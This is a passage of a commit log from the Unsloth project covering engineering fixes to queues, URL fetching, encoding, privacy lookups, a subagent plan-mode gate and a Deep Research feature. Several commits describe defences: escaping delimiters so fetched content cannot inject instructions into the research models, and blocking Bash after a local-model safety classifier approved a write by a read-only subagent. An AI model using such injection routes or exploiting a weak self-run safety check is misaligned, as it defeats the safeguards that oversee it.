  pre-start disconnect leaked the passthrough cancel tracker permanently.
  Replaced with a test that runs the response hook and asserts _CANCEL_REGISTRY
  is empty; verified against both ways of reintroducing the leak.
- The structural check only asserted the unstarted_cleanup keyword was present,
  so passing a literal None passed it while leaking. It now asserts the hook is
  actually built.
- test_shares_queue_with_openai_by_base_url never touched the OpenAI helper; it
  was a duplicate under a misleading name. It now reserves through the same
  helper /v1/chat/completions uses, so it fails if either surface ever derives a
  different key. That is the PR's central shared-queue claim.
- Cover the passthrough dispatch site, 499 on disconnect-while-queued, and the
  streaming admission timeout. Four of six sites previously had only an AST
  node count behind them.
- Clear admission env in the autouse fixture rather than per test: an ambient
  canonical name silently beat the legacy name a test was exercising.
- Loosen the wall-clock assertion, which guarded against serialising on the
  uncontended path, not against a slow runner.
- The class docstring claimed a global concurrency cap; Studio's own chat
  endpoint does not reserve, so it is not one.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep dataclass slots on 3.10+ via a version gate

Dropping slots = True for 3.9 gave it up everywhere, including the 3.12 CI runs
and every supported interpreter but one. Gate it instead: _SLOTS is
{"slots": True} on 3.10+ and empty below, unpacked into each dataclass.

The AST scan now requires the unpack rather than merely forbidding a literal
slots keyword, so a dataclass added later cannot quietly lose slots. Added a
test that the gate matches the running interpreter, since a gate that never
applies is worse than no gate. Verified the 3.9 branch by forcing _SLOTS empty
and reloading: the full admission suite passes either way.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix two slot leaks, and cover the guards that had no test

Third review round, three reviewers working independently on the admission core,
the route wiring, and whether the PR regresses anything it is not about.

Leaks:

- cancel() made the same call_soon_threadsafe as _grant_waiters_locked but
  without its RuntimeError guard. Routes cancel from finally blocks, so a closed
  loop masked their exception and skipped the release, stranding the slot and
  pinning is_idle() false so the queue was never evicted either.
- The pre-start cleanup released the slot after an await that can raise
  BaseException, which is swallowed upstream. Nested it in a finally, as the
  streaming and OpenAI paths already do.

An unparseable QUEUE_PER_SLOT dropped the 64 floor while falling back to the
default multiplier, quietly giving a 1-slot backend a 16-deep line. Explicit now
means it parsed.

Guards that were correct but had no test. Each was reverted, confirmed the suite
stayed green, then covered and confirmed red:

- the slot released when stream setup raises, which is the reachable one:
  count_chat_tokens is a blocking call to llama-server, so a dead backend raises
  after the slot is taken and before a body exists to release it
- coro.close() on a cancelled queued request, the api_monitor.fail that
  distinguishes an admission timeout from a client hang-up, the MTP fallback
  short-circuit, and the BaseException guard around the opening stream lines
- the queue-full test asserted a type string OpenAI's 429 also uses, so it
  passed against an OpenAI envelope. It now pins the Anthropic shape.

Anthropic requests were invisible in the admission log while sharing the pool
with chat completions, so the same events are logged there with a mode. Renamed
the helper to match, since it is no longer OpenAI-only.

Corrected two comments that described behaviour the code does not have: the
slot is taken when the streaming response is built, not when the body starts
iterating, and the pool is not a cap on every generation, since /v1/completions,
Studio's chat endpoint and RAG captioning all reach llama-server directly.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Cover the admission telemetry, and drop a dead helper

Fourth review round. No bugs found in the code this time; the finding was that
most of the previous commit's telemetry had no test. Only queue-full was
asserted, so removing any of the other four log calls left the suite green.

All five are covered now, each verified by removing its call and confirming only
its own test reds. Fixing the first attempt turned up a test bug of my own: the
log line carries a queued=N field, so asserting "queued" in the message matched
every admission log ever emitted. It asserts the event name now.

Also covered two guards that were correct but unguarded: waiters whose futures
die out of band stop counting against the queue depth, and a newcomer cannot
barge past a parked waiter. The second is pinned as behaviour rather than as the
`if not self._waiters` check, because that check cannot actually change the
outcome: _take_slot_locked consults _can_admit_locked anyway, so either alone
refuses the newcomer. The test fails only if both go.

_optional_positive_int_env lost its last caller when the env parsing was
rewritten last round. Removed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-27 04:35:17 -07:00
Vineeth Sai Varikuntla
b9585d0f62
Keep the newer-mapper probe from replacing the installed FP8 mappers (#7478)
* Keep the newer-mapper probe from replacing the installed FP8 mappers

get_model_name calls _get_new_mapper() whenever a name misses the local
tables, only to answer whether a newer Unsloth would support it. That
helper fetches mapper.py from main, prefixes INT_TO_FLOAT_MAPPER,
FLOAT_TO_INT_MAPPER and MAP_TO_UNSLOTH_16bit with NEW_, and execs the
result into globals().

The slice starts at __INT_TO_FLOAT_MAPPER, so it also carries
FLOAT_TO_FP8_BLOCK_MAPPER, FLOAT_TO_FP8_ROW_MAPPER, the _add_* helpers
and the builder's loop variables, and none of those are renamed.
Exec'ing into globals() therefore rebinds the two FP8 tables that
loader_utils imported from the installed mapper, so every later
get_model_name(..., load_in_fp8 = ...) in the process resolves through
main's table instead of the installed one. The probe deliberately does
not adopt the new 4bit mappers (it raises NotImplementedError asking the
user to upgrade), so silently adopting the new FP8 ones is inconsistent,
and it also leaves loader_utils and mapper disagreeing about the same
tables. Reaching it needs nothing unusual: any org/model name absent
from the tables triggers the fetch.

Exec into a throwaway namespace and read the three mappers out of it, so
the probe stays a read and the installed mappings are left alone.

Signed-off-by: Vineeth Sai <vineethsai4444@gmail.com>

* Hand the fetched FP8 tables back from the probe instead of dropping them

Isolating the exec stopped the probe corrupting the installed FP8 tables, but
it also removed the only reason the probe ever saw the fetched ones: the
_resolve_with_mappers call still read FLOAT_TO_FP8_BLOCK_MAPPER and
FLOAT_TO_FP8_ROW_MAPPER off the module globals. A newly added FP8 repo would
then miss both the installed tables and the probe, so an older install would
stop raising the upgrade NotImplementedError for it.

Return the two fetched tables and let _resolve_with_mappers take them as
optional arguments, defaulting to the installed ones. The probe now answers
for new FP8 repos without writing over what the installed version resolves.

_get_new_mapper returns five tables now, so the two existing stubs in
test_get_model_name.py and test_bad_mappings_redirect.py are updated to match.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Signed-off-by: Vineeth Sai <vineethsai4444@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-27 04:21:27 -07:00
Daniel Han
7a9749eb4f
unsloth start: keep the local subagent unattended and out of plan mode (#7437)
* unsloth start: keep the local subagent unattended and out of plan mode

The local subagent child could stall waiting on a permission prompt, and a
parent session in plan mode could still reach the editing agent.

- Drop human-blocking tools from the child so it runs unattended. The
  read-only child also drops the file writers.
- Emit a PreToolUse hook that reads permission_mode itself and denies the
  editing agent under plan mode, so routing holds when the model ignores
  SKILL.md. Fails open, and is skipped under the WSL bridge where a Windows
  interpreter path is not runnable in the distro.

* Make the read-only subagent actually read-only, and drop stale WSL gates

From the first review of this branch, which drove the real code against a fake
HOME holding a pre-existing Claude install and diffed the tree before and after.
No config, agent, MCP server or CLAUDE.md of the user's was touched in either
arm, and the session dir is removed on exit, Ctrl-C and exception.

Three real findings came out of it:

- The read-only child could still write. Plan mode routes Bash through a safety
  classifier served by the same local model, so a small model saying yes is what
  authorised the write; a child spawned with read_only created a file. Denying
  Bash there makes the label true, at the cost of shell exploration while
  planning. Read, Grep and Glob still cover the search it needs.
- A persisted plugin dir kept a plan_gate.py from an earlier Windows run, so a
  later WSL run shipped a hooks.json naming an interpreter the distro cannot
  execute. Hook errors do not block, so this only ever wasted a spawn, but it
  accumulated and the branch had no test.
- The comment claimed the read-only child keeps ExitPlanMode "as Claude does
  under plan mode". A --print child is never offered the plan or prompt tools at
  all, so most of both deny lists is inert today. Kept as a guard against a
  version that starts offering them, but the comment now says so.

Also covers "auto" in the gate's non-plan modes, which is a real permission_mode
and the one the child's own Bash classifier runs under.

* Stop the gate failing closed, and bound a wedged child

Second review of this branch, driving real claude 2.1.219 against a mock
endpoint rather than reading.

The gate could fail closed. If plan_gate.py went missing the interpreter exited
2, which Claude treats as a blocking hook error, so the editing tool was denied
in every mode rather than just plan. Running the script through runpy instead of
handing its path to the interpreter turns that into an ordinary traceback, which
is exit 1 and allows. Verified both exit codes directly.

The hook also had no timeout, so a hung one stalled the parent for as long as it
hung, measured past 400s. Bounded at 10s.

The real stall this branch is named for was untouched: run_local_agent polled
communicate() forever, so a local server that accepts and never answers left the
child and the parent blocked indefinitely, measured past 400s. Added a wall-clock
deadline that kills the child and says the server looks wedged.
UNSLOTH_CLAUDE_SUBAGENT_TIMEOUT overrides it, 0 restores the old behaviour.

Also corrected the plan-mode comment. Claude already refuses the editing tool in
plan mode on its own, since it advertises readOnlyHint false; what the hook adds
is a reason naming the read-only tool to call instead. The WSL comment had the
direction backwards: the gate is the Linux path, not the Windows one.

Tests: the hook command's quoting and its behaviour with the gate deleted, both
previously unguarded, plus the timeout and its env override.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep the gate path out of the shell string

Codex review. The hook command is run by a shell, and the gate path was
interpolated into it, so a session-config root containing shell metacharacters
expanded before Python saw it. Verified on both: sh expands $(..), backticks and
$VAR; cmd expands %VAR%. In every case the path no longer resolves, the gate
exits 1, and because that intentionally fails open the routing message silently
stops appearing.

The path now travels as base64, whose alphabet has no metacharacter in either
shell. Parametrised over all four hostile forms, and the old interpolation makes
those tests fail.

One correction to the report: it says the editing agent becomes callable in plan
mode. It does not. Claude refuses that tool by itself, since it advertises
readOnlyHint false, which was checked earlier by deleting the hook entirely.
What a mangled path costs is the reason naming the read-only agent to call
instead, not the block.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
2026-07-27 04:18:22 -07:00
Daniel Han
ef97f3c961
tests: record the gfx1152 llama.cpp bundle gap so the next one is not silent (#7491)
* tests: record the gfx1152 llama.cpp bundle gap so the next one is not silent

#7431 made gfx1152 (Krackan Point, Radeon 860M/840M) a first-class arch, which
fixed torch wheel selection: those laptops were pulling gfx1150 wheels built for
a different LLVM target. It also changed llama.cpp prebuilt selection, because
no gfx1152 bundle is published. published_rocm_choice_for_host deliberately
refuses to serve a sibling-family bundle, so those hosts now fall back to a HIP
source build.

That is the right outcome, a wrong-ISA binary fails at the first BLAS call
rather than merely installing slowly, but nothing recorded it and nothing would
have caught it. TestPublishedRocmGfxSelection builds its release from a
hardcoded family list, so it can only assert about arches someone already
thought to add.

Adds TestPublishedRocmBundleCoverage:

- PUBLISHED mirrors the mapped_targets in llama-prebuilt-manifest.json.
- KNOWN_GAPS lists arches _GFX_TO_AMD_INDEX_ARCH routes torch for that no bundle
  covers: gfx1033/1035/1036 (RDNA 2, never built) and gfx1152.
- test_known_gaps_fall_back_to_source_build pins each to None.
- test_every_torch_routed_arch_is_covered_or_a_known_gap compares the routed set
  against bundle coverage, so adding an arch for torch without a bundle has to
  be a deliberate KNOWN_GAPS entry.

The invariant fires both ways. Simulating a new routed arch fails with
"coverage drifted: ['gfx1153'] newly uncovered"; simulating a published gfx1152
bundle fails with "gfx1152 is in KNOWN_GAPS but a bundle now matches it; drop it
from the set", so closing the gap cannot leave the list stale.

Reads _GFX_TO_AMD_INDEX_ARCH from source instead of importing
install_python_stack, which this suite does not otherwise depend on.

No production code changes. Install suite 1355 passed, no new failures.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-27 03:46:38 -07:00
Nilay
1915ca98db
Studio: fetch bare hostnames as https instead of refusing them (#7427)
* fetch bare hostnames as https instead of refusing them

* normalize host:port URLs and route schemeless github repos to the readme API

* only rewrite dotted host:port URLs with in-range ports

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* reject relative paths and oversized ports in url normalization

* Match web-fetch ports as ASCII digits so a unicode digit cannot raise

str.isdigit() is True for digit-class characters int() refuses (superscript
two, circled digit one), so _normalize_url_scheme reached int(port) and raised
ValueError out of _fetch_url_raw, which runs before its try block. A
web_search url of "example.com:<superscript two>" surfaced a generic tool
exception instead of the Blocked: message it returned before this branch.

Match the port against an anchored [0-9]{1,5} instead; the five-digit cap that
kept the range check from converting an unbounded integer is now in the
pattern.

* Apply the invalid-port guard to redirect targets too

_fetch_url_raw wraps the initial parsed.port in try/except ValueError, but the
redirect hop reads rp.port unguarded, so a server answering
Location: https://example.org:99999/next fell through to the broad handler as
"Failed to fetch URL: Port out of range 0-65535" rather than a deliberate
block. No request is dispatched either way; this just makes the two paths
report the same way.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep the redirect-port test compact

The formatter expands a signature carrying a spaced kwarg default, which put
the stub opener on eleven lines. **kw absorbs the timeout the fetch loop
passes and leaves the whole stub on four.

* Never let a malformed URL escape _fetch_url_raw as an exception

The URL is model-supplied, so every bad form should come back as one of the
documented (error, body, content_type) strings. Three gaps remained:

urlparse itself raises on an unmatched IPv6 bracket and on a netloc that
NFKC-decomposes into a delimiter (//exam(fullwidth-solidus)ple.com), and both
calls sat outside a guard. getaddrinfo raises UnicodeError, which is a
ValueError and not the OSError _validate_and_resolve_host catches, when IDNA
encoding rejects a hostname.

Over a 3158 URL corpus that injects tabs, newlines, C0 controls, delimiters and
NFKC confusables at every position, main raises 42 times and this raises none.

Also strip surrounding whitespace in _normalize_url_scheme. _web_search already
stripped, but normalization moved down to the fetch layer, so a direct
_fetch_page_text caller did not get it.

* Name the host in the status badge and tool card for bare URLs

status_for_tool and the web-search tool card both required an explicit scheme
before reading the hostname, so every URL this branch newly makes fetchable
showed the generic "Reading page..." and "Read page" instead of the host.
Under permission_mode=ask that means the approval card named no destination for
exactly the inputs the branch enables.

The backend reuses _normalize_url_scheme. The frontend cannot, since new URL()
throws on a bare host, so RE_BARE_HOST mirrors the same grammar: only a dotted
host with an optional in-range port gets the https prefix, leaving /login,
javascript: and userinfo forms to render generically as before.

Also mention bare hostnames in the url parameter description, since they are
part of the accepted interface now.

* Do not let a malformed URL in the status badge kill the tool turn

status_for_tool runs inside prepare_call, before the fetch and outside the
handler that wraps tool execution, so a ValueError from urlparse ends the whole
turn instead of letting _fetch_url_raw return its blocked message.
_normalize_url_scheme catches its own parse error and hands back the original
string, so the parse here still has to be guarded.

Reachable with https://[::1 or a host that NFKC-decomposes into a delimiter.
This predates the branch, main raises identically, but the badge is one of the
lines this branch touches and the rest of it already promises no malformed URL
escapes as an exception.

* Tighten the comments added by this branch

* Revert the web_search url description change

The premise of this branch is that models already emit bare hostnames
unprompted, which is why the fetch layer had to stop refusing them. Advertising
the bare form in the tool schema does not enable anything, it just steers models
toward it, and that is the form carrying every edge case: ambiguous with dotted
custom schemes, and unlike an explicit scheme it does not cover IPv6 literals,
IDN or trailing-dot FQDNs.

The fetch layer tolerates bare hosts. The schema should keep recommending a
full URL. This also drops the one change here with no regression test.

* Match the backend port rule in the tool card host

The card's bare-host pattern required at least one digit after the colon, but
the backend fetches an empty port (example.com: and example.com:/path go to the
default HTTPS port), so a successful fetch rendered as "Read page" with no
host.

Allowing an empty port alone would have swung it the other way: example.com:0
is refused by the backend but new URL() accepts it, so the card would have named
a host that is never fetched. That mismatch was there before this change too.
Mirror the backend rule instead, an empty port or one in 1-65535, checked
against every case in the normalizer's own matrix.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-27 03:38:30 -07:00
Vineeth Sai Varikuntla
274f5ff569
Remove the no-op rmtree guard around the GGUF save (#7479)
* Remove the no-op rmtree guard around the GGUF save

patch_unsloth_gguf_save saves shutil.rmtree and restores it, but never
replaces it, so the context manager does nothing. Its comment claims it
prevents deletion of the directory save_pretrained just created.

It reads as a copy of the patch_unsloth_save sibling above it, minus the one
line that does the work. Completing it is not the right fix though: the GGUF
call forces push_to_hub=False and the merge cleanup that would remove the save
directory is gated on push_to_hub=True, so nothing on this path calls rmtree.
That was verified on a real LoRA-backed q8_0 export with every rmtree call
logged, in the discussion on #7149.

Drop the dead context manager rather than leave code that looks like a guard
and is not. Behaviour is unchanged; the following step comments are renumbered
to stay contiguous.

* Note why no rmtree guard is needed at the GGUF call site

---------

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
2026-07-27 03:26:46 -07:00
Daniel Han
1daaa5cbb4
Let a decode failure degrade instead of escaping a fail-closed helper (#7487)
* Let a decode failure degrade instead of escaping a fail-closed helper

Pinning utf-8 makes a read that used to return mojibake on Windows raise
instead. 33 of those reads sit under a handler catching OSError or
json.JSONDecodeError but not UnicodeDecodeError, which subclasses
ValueError, so a corrupt file would now escape a helper written to return
a default. Adds UnicodeDecodeError to those tuples only.

* Treat an undecodable install lock as stale instead of retrying forever
2026-07-27 03:26:08 -07:00
Daniel Han
3fd948eb95
Pin utf-8 on shipping-code text I/O instead of the operator locale (#7486)
* Pin utf-8 on shipping-code text I/O instead of the operator locale

113 read_text/write_text/open call sites across unsloth, studio and
unsloth_cli let locale.getencoding() decide the encoding. That is utf-8 on
the Linux and macOS runners and cp1252 on a stock Windows install, so the
same file decodes differently for a Windows user and silently produces
mojibake or raises UnicodeDecodeError.

Adds tests/test_runtime_text_encoding.py to keep it that way. It resolves
openers through each file's own imports rather than a fixed list of module
names, so an aliased tarfile.open or a local from PIL.Image import open is
not asked for an encoding it does not take.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scan tracked files only and resolve the unbound Path calling forms

* Honour PEP 263 when scanning sources and migrate a legacy JSONL before appending

* Scope guard imports lexically and only migrate a legacy file when it round-trips

* Leave a legacy JSONL untouched and resolve path aliases in the foreign-opener check

* Tighten comments

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-27 02:14:20 -07:00
Daniel Han
4a79d707c5
Fix the wall-clock timeout tests on Python 3.10 (#7488)
Both tests remove asyncio.timeout to exercise the fallback path in
_wall_clock_timeout. On Python 3.10 that attribute does not exist in the
first place, so monkeypatch.delattr raises AttributeError and Backend CI
fails on its 3.10 leg. raising=False keeps the intent, the attribute is
absent either way.
2026-07-27 01:58:22 -07:00
Leo Borcherding
cd5011f288
Studio: add UNSLOTH_STUDIO_DISABLE_PUBLIC_CHECK to switch off the startup public lookups (#7433)
* Studio: make the startup public-IP lookup opt-in (#7307 P8)

Startup resolved the machine's external IP by asking ifconfig.me whenever
Studio bound to 0.0.0.0 or ::. That tells whoever runs that service this
host is running Unsloth, which the user never agreed to.

The lookup is now gated behind UNSLOTH_STUDIO_PUBLIC_IP_PROBE, off by
default, and logs plainly what it sends and where when enabled. Only
1/true/yes/on enable it, so a typo leaves the private default in place.

The other two steps stay unconditional because neither discloses
anything: the GCE metadata server is link-local, and the UDP connect only
asks the kernel which local address routes to 8.8.8.8 without putting a
packet on the wire. Disabling the probe therefore still yields a usable
LAN address for the access banner.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: gate the check-host.net reachability probe too, and keep the cloud address

Problem 8 of #7307 is the check-host.net probe in _verify_global_reachability: it hands this machine's address and port to a third party and asks its nodes to connect back. That was still unconditional, so on GCE and on any host whose routing address is already public the reported behaviour was unchanged. It is now behind the same UNSLOTH_STUDIO_PUBLIC_IP_PROBE opt-in.

A private interface address is not proof the port is unreachable, since a NAT or cloud firewall can forward it. The private-address path no longer sets _public_reachable = False, so the banner keeps its warning instead of claiming local network only.

To stop the privacy default from costing cloud users their shareable address, step 1 now reads AWS IMDSv2 and Azure IMDS alongside GCE on link-local 169.254.169.254.

Also drops the redundant function-local import os and documents the variable in the README remote access section.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: switch to a single UNSLOTH_STUDIO_DISABLE_PUBLIC_CHECK opt-out

Replaces the opt-in variable and the cloud metadata work from the previous commit. Both third-party startup lookups stay on by default, so nothing changes for existing users, and one variable turns both off for lab and privacy-sensitive deployments. That is the fallback the reporter offered in #7307 Problem 8, and it keeps the firewall diagnostic that the reachability check exists to provide.

The ifconfig.me lookup and the check-host.net probe are now both guarded by public_check_disabled(). Parsing matches the nearest existing switch, _trust_forwarded_for in utils/client_ip.py. The reachability guard sits after the private-address branch, which makes no network call, so a LAN user who opts out still gets the address note.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-27 00:16:53 -07:00
alkinun
502730bbba
Studio: add Deep Research (#7219)
* Studio: add durable Deep Research workflows

* Studio: preserve research integration after upstream updates

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: keep research worker compatible with Python 3.11

* Studio: address Deep Research lifecycle review

* Studio: preserve durable research recovery

* Studio: preserve research stream and context

* Studio: harden research sources and limits

* Studio: align research with shared chats

* Studio: guard durable research actions

* Studio: protect durable research turns

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: deepen durable research decisions

* Studio: protect research prompts and queries

* Studio: slim research stream deltas

* Studio: preserve research evidence and citations

* Studio: harden Deep Research (CI, prompt injection, query PII, config, citations)

- Fix backend CI: add research_runs_router to the synthetic routes stub in
  test_desktop_auth so studio.backend.main imports under the health-check test.
- Escape prompt-delimiter tags in the decision and synthesis prompts so gathered
  web/document content cannot close an <untrusted_...> wrapper and inject
  instructions into the local planner/decision/synthesis model.
- Extend the public-query sanitizer to redact Luhn-valid payment cards, phone
  numbers, non-global IPs, and labeled private identifiers before a query can
  reach web search.
- Reject nested credential keys in inferenceRequest and ragScope, not just
  top-level keys, when persisting a durable run config.
- Treat maxSources as one budget shared across web and document sources
  (collection and resume paths) instead of per type, which allowed up to 2x the
  configured cap.
- Preserve document citations whose filename contains a closing bracket by
  tokenizing valid citations before stripping invalid ones.
- Persist Deep Research off when switching to an external model and when enabling
  Web Fetch so a refresh cannot rehydrate a mutually-exclusive state.
- Add regression tests for the query, prompt, citation, and config hardening.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: make the research claims table migration atomic

The owner-scoped to global claims migration ran its RENAME, CREATE, INSERT and DROP in autocommit, so an interruption after CREATE left the new table empty, orphaned the rows in the legacy table, and never re-triggered. Wrap the rebuild in an explicit transaction so a crash rolls back cleanly and the migration re-runs on the next boot.

* Studio: block message edits and regeneration during an active research run

After a reload a durable research run is followed by the research store rather than an assistant-ui run, so thread.isRunning is false while research is still active. Message edit, refresh and the edit composer previously gated only on isRunning, which let a normal generation start alongside the running research run. Gate them on the active thread's research state as well.

* Studio: keep the plan review mounted through approval

Keying PlanReview on planRevision remounted it mid-approve when updateResearchPlan bumped the revision, resetting the local pending flag and re-enabling Start research while the approve was still in flight, which allowed a duplicate approve. Key on runId only.

* Studio: drop the redundant deep-research persistence change

setCheckpoint already persists Deep Research off for external models at the top of the function, so the added saveBool was a duplicate, and clearing Deep Research from setWebFetchToolsEnabled guarded a state that is not reachable (Deep Research is local-model only while the Web Fetch pill is external-provider only). Revert both to the pre-hardening version.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: harden Deep Research citations, query privacy, and message protection

Address review findings in the Deep Research backend:

- Escape an unbalanced ")" in citation destinations so a source URL cannot
  close the markdown link early and inject a second link, keeping balanced
  parentheses literal.
- Match raw-URL citations on whole tokens so a URL sharing another URL's
  prefix is no longer partially rewritten.
- Redact non-global IPv6 addresses in public search queries, matching the
  existing IPv4 handling.
- Detect credential key names after normalizing case and separators so nested
  openaiApiKey, accessToken, and clientSecret values cannot be persisted.
- Reject client edits to server-managed research prompts and reports at the
  storage layer; only the internal writers pass allow_research_update.
- Scope research searches to the first allowed domains instead of dropping
  site scoping for large allow lists.
- Persist the same fetch evidence bound used during live synthesis so a
  resumed run is not shortened.
- Scope run completion so it only replaces this run's message parts.

Add regression tests for the above.

* Studio: fix Deep Research SSE framing, source counts, and favicon privacy

- Normalize the whole SSE buffer so a CRLF split across transport chunks
  still frames events.
- Count web and document sources together in the activity header so a
  RAG-only run is not shown as zero sources.
- Cap the plan editor at the run's configured maxSteps instead of a
  hard-coded 30.
- Add an allowRemoteIcons opt-out to the sources components and disable
  third-party favicon requests for research sources so visited domains are
  not leaked.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: address final Deep Research review findings

* Studio: fit Deep Research synthesis evidence to loaded context, add opt-in web grounding

Size the synthesis evidence budget to the loaded model context so the prompt is not
silently truncated on small contexts. When the evidence overflowed the window the report
degenerated (it echoed the evidence tail instead of writing); the budget now reserves tokens
for the prompt scaffolding and converts the remainder to chars, keeping the full cap when the
context is unknown.

Add opt-in web grounding for auto-read: read the top search results, ingest them into an
ephemeral RAG scope, hybrid-retrieve the passages most relevant to the question with the
existing knowledge-base retriever, and fold those chunks into the step evidence. The scope is
per call and deleted afterwards, so a user's knowledge base is never touched.

Off by default; enable with UNSLOTH_RESEARCH_AUTO_SCRAPE=1. Gated per run by
budgets["maxAutoScrape"], so runs created without it keep legacy snippet-only behavior, and
grounding is skipped when the loaded context is too small for the prompt.

Add tests for the adaptive evidence budget, scraped-text cleaning, the ephemeral web-RAG
retrieval and scope cleanup, and the auto-read evidence path.

* Studio: read Deep Research synthesis context from the inference orchestrator

Make the adaptive synthesis-evidence budget actually engage in the normal Studio
architecture. _loaded_context_length read core.inference.inference, the low-level backend that
lives in the model subprocess and stays unpopulated in the main web process where the research
supervisor runs, so it returned None and the budget silently fell back to the 32000 character
cap (leaving the report exposed to the truncation this was meant to fix). Read the inference
orchestrator instead, and the llama.cpp backend for GGUF, mirroring
routes.inference._monitor_context_length so the budget sizes to the context the API layer
serves. Verified on a running server: at a 12288 token load the probe now reports 12288 and the
budget adapts to 24576 characters instead of the 32000 fallback.

Also:
- Reserve context for the generated report as well as the prompt scaffolding (raise the reserve
  to 4096 tokens) so evidence does not crowd out the output on a small window.
- Honor a numeric UNSLOTH_RESEARCH_AUTO_SCRAPE by passing the per-run maxAutoScrape as the page
  cap to the scraper, instead of always reading the maximum.
- Guard the web-RAG connection acquisition so a get_connection failure returns the documented
  empty result rather than propagating.
- Add a synthesis-context test that patches the real backend accessor (not the probe itself) so
  the production wiring is exercised, plus a scrape page-cap test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: harden Deep Research query redaction and research autosave

- research_runs: extend the opaque-token allowlist so unlabeled Hugging
  Face (hf_) and GitLab (glpat-) tokens are redacted before a query can
  reach web search, without over-redacting public model or version ids.
- runtime-provider: for a server-managed research message, echo the
  backend-stored metadata verbatim on autosave. Merging the client
  metadata re-added client-only fields the server never persisted, so the
  server-side guard saw a diff and rejected every streamed or snapshot
  update with 409.

* Studio: keep composer tool pills always accessible after merge

The merge left the composer line marked always-expanded (data-expanded
"true") while the inner pill row was still gated behind composerExpanded,
so the Search and Code toggles disappeared once the permission mode was
"off" with no other toggle set. Render the primary tool pills
unconditionally, matching the always-expanded layout, and drop the now
unused composerExpanded and permissionMode locals. Fixes the Chat UI
Playwright check that asserts the Search and Code pills stay visible.

* Studio: update Deep Research composer contract to always-expanded layout

The always-expanded composer no longer routes effectiveDeepResearchEnabled
through a composerExpanded expression, so the frontend contract now checks
that it gates the Deep Research composer button render instead.

* Studio: do not bind a research run to a populated assistant reply

create_run adopted any assistant message under the user turn whose
researchRunId was unset, including a prior answer reused by a retry. On
completion _update_assistant drops the untagged text and source parts, so
that answer was silently overwritten. Only bind to an empty placeholder or
this run's own message, and reject a reply that already carries content.

* Studio: harden Deep Research synthesis budget, prompt shielding, and message protection

- research_runs: split the synthesis evidence budget evenly across notes so a
  small context still keeps a slice of every research step instead of dropping
  the later steps after the earliest ones fill the budget.
- research_runs: shield the research question and approved plan before placing
  them in the decision and synthesis prompts, so a closing delimiter in either
  cannot escape its block and inject sibling sections.
- research_runs: redact bearer authorization tokens from public search queries.
- studio_db: include attachments in the research-message change check and guard
  direct attachment deletion, so server-managed research prompts and responses
  cannot be mutated through the attachment paths.
- chat_history: map the protected-message conflict on attachment deletion to 409.

* Studio: strip invalid document citations that contain brackets

The invalid-citation regex stopped at the first closing bracket, so a
citation whose filename contained brackets left its tail (".pdf, p. 9]") in
the report. Match a balanced bracketed span so the whole invalid citation is
removed; valid citations stay protected by the earlier tokenization pass.

* Studio: free the RAG search slot when a lookup times out or is cancelled

The bounded knowledge-base search held the sole admission slot in a detached
worker until the search returned, so a lookup that outlived its timeout (a
stalled embedding or blocked vector call) kept the slot forever and starved
every later lookup, disabling knowledge-base retrieval globally. Release the
slot from the caller when it stops waiting, exactly once, so a detached worker
finishes without re-holding it.

* Studio: remove Websites label from research composer

* Studio: fix Deep Research review findings (RAG slot bound, orphaned workers, hardening)

- Bound the shared RAG search slot to one running worker. The search that is
  doing the embedding/index/GPU work now owns the admission slot until it
  finishes, instead of freeing it on caller timeout while the detached worker
  keeps running, which let a second search enter and stack concurrent work
  behind the capacity-of-one semaphore.
- Cancel active research runs before deleting their thread, project, or all
  history. Deleting cascade-drops the run row, but the worker only notices at
  its next lease check, so it could keep doing model/web/RAG work for a run
  that no longer exists; signalling cancel first shortens that window.
- Shield the planner prompt's conversation and question with _shield_untrusted,
  matching the decision and synthesis prompts, so untrusted text cannot forge
  planner delimiters.
- Do not let a research key-revocation failure replace a successful
  non-streaming completion; log it like the streaming path does.
- Include created_at in the protected research-message guard so a client cannot
